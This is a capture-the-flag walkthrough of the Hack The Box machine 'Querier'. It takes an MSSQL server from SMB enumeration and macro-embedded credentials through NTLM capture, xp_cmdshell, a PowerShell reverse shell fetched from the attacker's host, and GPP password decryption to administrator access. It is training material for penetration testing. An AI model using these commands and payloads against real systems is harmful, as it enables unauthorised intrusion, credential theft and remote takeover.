Hack The Box — Querier

---

1. Machine Information

- **Target IP:** 10.129.12.216
- **Machine Name:** Querier
- **Difficulty:** Medium
- **Date:** March 2026
- **Attacker Machine:** Kali Linux

---

2. Attack Path

Nmap → SMB enumeration → Access Reports share → Extract credentials from XLSM → MSSQL login → NTLM capture → Crack hash → MSSQL privileged access → Reverse shell → GPP password extraction → Administrator access → Root

---

3. Tools Used

- nmap
- smbclient
- strings
- impacket-mssqlclient
- responder
- john
- python (http server)
- wget
- evil-winrm
- gpp-decrypt

---

4. Reconnaissance

Command

nmap -sC -sV -p- 10.129.12.216

Findings

- 135 → RPC
- 139 → NetBIOS
- 445 → SMB
- 1433 → MSSQL Server
- 5985 → WinRM

Why It Matters

- MSSQL (1433) → high-value target
- SMB → file sharing → possible credential leaks
- WinRM → potential remote access after creds

Screenshot 1 — Nmap Output

```
┌──(abhay㉿Kali)-[~/Desktop/Querier]
└─$ sudo nmap --top-ports 1000 -sC -sV -sS -T4 -Pn -n -oX target1.xml 10.129.12.216
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-22 10:24 +0530
Nmap scan report for 10.129.12.216
Host is up (0.26s latency).
Not shown: 995 closed tcp ports (reset)
PORT     STATE SERVICE       VERSION
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
1433/tcp open  ms-sql-s      Microsoft SQL Server 2017 14.00.1000.00; RTM
|_ssl-date: 2026-03-22T04:55:16+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2026-03-22T04:50:31
|_Not valid after:  2056-03-22T04:50:31
| ms-sql-ntlm-info:
|   10.129.12.216:1433:
|     Target_Name: HTB
|     NetBIOS_Domain_Name: HTB
|     NetBIOS_Computer_Name: QUERIER
|     DNS_Domain_Name: HTB.LOCAL
|     DNS_Computer_Name: QUERIER.HTB.LOCAL
|     DNS_Tree_Name: HTB.LOCAL
|_    Product_Version: 10.0.17763
| ms-sql-info:
|   10.129.12.216:1433:
|     Version:
|       name: Microsoft SQL Server 2017 RTM
|       number: 14.00.1000.00
|       Product: Microsoft SQL Server 2017
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
```

---

5. Enumeration

Step 1 — SMB Share Enumeration

Command:

smbclient -L //10.129.12.216

Result:

Reports

Why Important:

- Anonymous-accessible share → high probability of sensitive files

Screenshot 2 — SMB Shares

```
┌──(abhay㉿Kali)-[~/Desktop/Querier]
└─$ smbclient -L //10.129.12.216
Password for [WORKGROUP\abhay]:

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        Reports         Disk
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.12.216 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```

Step 2 — Access Reports Share

Command:

smbclient //10.129.12.216/Reports

RECURSE ON

PROMPT OFF

mget *

Result:

- File downloaded:

Currency Volume Report.xlsm

Why Important:

- Excel macro-enabled file → likely contains credentials/scripts

Screenshot 3 — File Download

```
┌──(abhay㉿Kali)-[~/Desktop/Querier]
└─$ smbclient //10.129.12.216/Reports
Password for [WORKGROUP\abhay]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Tue Jan 29 04:53:48 2019
  ..                                  D        0  Tue Jan 29 04:53:48 2019
  Currency Volume Report.xlsm         A    12229  Mon Jan 28 03:51:34 2019

                5158399 blocks of size 4096. 850128 blocks available
smb: \> RECURSE ON
smb: \> PROMPT OFF
smb: \> wget *
wget: command not found
smb: \> mget *
getting file \Currency Volume Report.xlsm of size 12229 as Currency Volume Report.xlsm (10.2 KiloBytes/sec) (average 10.2 KiloBytes/sec)
smb: \> exit

┌──(abhay㉿Kali)-[~/Desktop/Querier]
└─$ ls
'Currency Volume Report.xlsm'   target1.xml
```

Step 3 — Extract Credentials from XLSM

Command:

unzip 'Currency Volume Report.xlsm'

strings xl/vbaProject.bin

Result:

username: reporting

password: PcwTWTHRwryjc$c6

Why Important:

- Valid credentials for MSSQL

Screenshot 4 — Extracted Credentials

```
┌──(abhay㉿Kali)-[~/Desktop/Querier]
└─$ strings xl/vbaProject.bin
 macro to pull data for client volume reports
n.Conn]
Open
rver=<
SELECT * FROM volume;
word>
 MsgBox "connection successful"
Set rs = conn.Execute("SELECT * @@version;")
Driver={SQL Server};Server=QUERIER;Trusted_Connection=no;Database=volume;Uid=reporting;Pwd=PcwTWTHRwryjc$c6
 further testing required
Attribut
e VB_Nam
e = "Thi
sWorkboo
0{00020P819-
$0046}
|Global
```

---

6. Exploitation

Step 4 — MSSQL Login

WHAT IT IS

- Authenticate to SQL Server using discovered credentials

WHY IT WORKS

- Credentials reused for database access

HOW TO EXPLOIT

impacket-mssqlclient reporting:'PcwTWTHRwryjc$c6'@10.129.12.216 -windows-auth

RESULT

- MSSQL access obtained

Screenshot 5 — MSSQL Access

```
┌──(abhay㉿Kali)-[~/Desktop/Querier]
└─$ impacket-mssqlclient reporting:'PcwTWTHRwryjc$c6'@10.129.12.216 -windows-auth
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: volume
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(QUERIER): Line 1: Changed database context to 'volume'.
[*] INFO(QUERIER): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2017 RTM (14.0.1000)
[!] Press help for extra shell commands
SQL (QUERIER\reporting  reporting@volume)>
```

Step 5 — NTLM Hash Capture

WHAT IT IS

- Force SQL server to authenticate to attacker → capture hash

WHY IT WORKS

- xp_dirtree triggers SMB authentication

HOW TO EXPLOIT

Start responder:

sudo responder -I tun0

Execute:

exec xp_dirtree '\\10.10.14.237\share'

RESULT

- NTLM hash captured

Screenshot 6 — Captured Hash

Step 6 — Crack Hash

Command:

john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

Result:

mssql-svc : corporate568

Why Important:

- Higher privilege account obtained

Screenshot 7 — Cracked Credentials

```
┌──(abhay㉿Kali)-[~/Desktop/Querier]
└─$ john hash.txt -w=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
corporate568     (mssql-svc)
1g 0:00:00:01 DONE (2026-03-22 11:08) 0.5376g/s 4818Kp/s 4818Kc/s 4818KC/s correforenz..coreyny11
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.
```

Step 7 — MSSQL Login (Privileged User)

impacket-mssqlclient mssql-svc:'corporate568'@10.129.12.216 -windows-auth

Result:

- Access gained

Step 8 — Enable Command Execution

Command:

enable_xp_cmdshell

xp_cmdshell whoami

Result:

querier\mssql-svc

Why Important:

- Command execution achieved → pivot to shell

Screenshot 8 — xp_cmdshell

```
┌──(abhay㉿Kali)-[~/Desktop/Querier]
└─$ impacket-mssqlclient mssql-svc:'corporate568'@10.129.12.216 -windows-auth
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(QUERIER): Line 1: Changed database context to 'master'.
[*] INFO(QUERIER): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2017 RTM (14.0.1000)
[!] Press help for extra shell commands
SQL (QUERIER\mssql-svc  dbo@master)> enable_xp_cmdshell
INFO(QUERIER): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
INFO(QUERIER): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (QUERIER\mssql-svc  dbo@master)> ls
ERROR(QUERIER): Line 1: Could not find stored procedure 'ls'.
SQL (QUERIER\mssql-svc  dbo@master)> xp_cmdshell whoami
output
------------------
querier\mssql-svc
NULL
SQL (QUERIER\mssql-svc  dbo@master)>
```

Step 9 — Reverse Shell

Prepare Payload:

wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1

Append:

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.237 -Port 4444

Start server:

python3 -m http.server 8080

Execute:

EXEC xp_cmdshell 'powershell -c "IEX(New-Object Net.WebClient).DownloadString(''http://10.10.14.237:8080/Invoke-PowerShellTcp.ps1'')"';

RESULT

- Reverse shell obtained:

querier\mssql-svc

Screenshot 9 — Payload Setup

```
    <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check
    <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94
</svg>
    </clipboard-copy>
  </div>
</template>



    </div>
    <div id="js-global-screen-reader-notice" class="sr-only mt-n1" aria-live="polite" aria-atomic="true" ></div>
    <div id="js-global-screen-reader-notice-assertive" class="sr-only mt-n1" aria-live="assertive" aria-atomic="true"></div>
  </body>
</html>

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.237 -Port 4444

^G Help      ^O Write Out   ^F Where Is    ^K Cut       ^T Execute   ^C Location  M-U Undo      M-A Set Mark   M-] To Bracket
```

Screenshot 10 — Reverse Shell

```
┌──(abhay㉿Kali)-[~/Desktop/Querier]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.237] from (UNKNOWN) [10.129.12.216] 49687
Windows PowerShell running as user mssql-svc on QUERIER
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Windows\system32>whoami
querier\mssql-svc
PS C:\Windows\system32>
```

---

7. Shell Access

- User obtained:

mssql-svc

---

8. Post-Exploitation

Step 10 — Search for Credentials

Path:

C:\ProgramData\Microsoft\Group Policy\History\...\Groups.xml

Command:

type Groups.xml

Result:

cpassword="CiDUq6tbrBL1m/js9DmZNIydXpsE69WB9..."

Why Important:

- GPP password → decryptable

Screenshot 11 — Groups.xml

```
PS C:\ProgramData\Microsoft\Group Policy\History\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Preferences\Groups> type Groups.xml
<?xml version="1.0" encoding="UTF-8" ?><Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
<User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="Administrator" image="2" changed="2019-01-28 23:12:48" uid="{CD450F70-CDB8-4948-B908-F8D038C59B6C}" userCon
text="0" removePolicy="0" policyApplied="1">
<Properties action="U" newName="" fullName="" description="" cpassword="CiDUq6tbrBL1m/js9DmZNIydXpsE69WB9JrhwYRW9xywOz1/0W5VCUz8tBPXUkk9y80n4vw74KeUWc2+BeOVDQ" change
Logon="0" noChange="0" neverExpires="1" acctDisabled="0" userName="Administrator"></Properties></User></Groups>
PS C:\ProgramData\Microsoft\Group Policy\History\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Preferences\Groups>
```

Activate Windows
Go to Settings to activate Windows.

Step 11 — Decrypt Password

gpp-decrypt CiDUq6tbrBL1m/js9DmZNIydXpsE69WB9...

Result:

Administrator : MyUnclesAreMarioAndLuigi!!1!

Why Important:

- Full admin credentials obtained

Screenshot 12 — Decrypted Password

```
┌──(abhay㉿Kali)-[~/Desktop/Querier]
└─$ gpp-decrypt CiDUq6tbrBL1m/js9DmZNIydXpsE69WB9JrhwYRW9xywOz1/0W5VCUz8tBPXUkk9y80n4vw74KeUWc2+BeOVDQ
MyUnclesAreMarioAndLuigi!!1!
```

---

9. Privilege Escalation

Enumeration

- GPP credential exposure

Vulnerability Found

- GPP stores passwords with reversible encryption

WHY IT WORKS

- Static AES key used → public decryption possible

Exploit

evil-winrm -i 10.129.12.216 -u Administrator -p 'MyUnclesAreMarioAndLuigi!!1!'

RESULT

- Administrator shell obtained

Screenshot 13 — Administrator Shell

```
┌──(abhay㉿Kali)-[~/Desktop/Querier]
└─$ evil-winrm -i 10.129.12.216 -u Administrator -p 'MyUnclesAreMarioAndLuigi!!1!'

Evil-WinRM shell v3.9

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
querier\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents>
```

---

10. Flags

type C:\Users\mssql-svc\Desktop\user.txt

type C:\Users\Administrator\Desktop\root.txt

Screenshot 14 — User Flag

```
*Evil-WinRM* PS C:\Users\mssql-svc\Desktop> pwd

Path
----
C:\Users\mssql-svc\Desktop


*Evil-WinRM* PS C:\Users\mssql-svc\Desktop> type user.txt
```

Screenshot 15 — Root Flag

```
*Evil-WinRM* PS C:\Users\Administrator\Desktop> pwd

Path
----
C:\Users\Administrator\Desktop


*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
```

---

11. Skills / Takeaways

- SMB enumeration for sensitive files
- Extracting credentials from XLSM macros
- MSSQL exploitation (xp_dirtree, xp_cmdshell)

- NTLM hash capture & cracking
- Reverse shell via PowerShell
- GPP password decryption
- Privilege escalation via credential reuse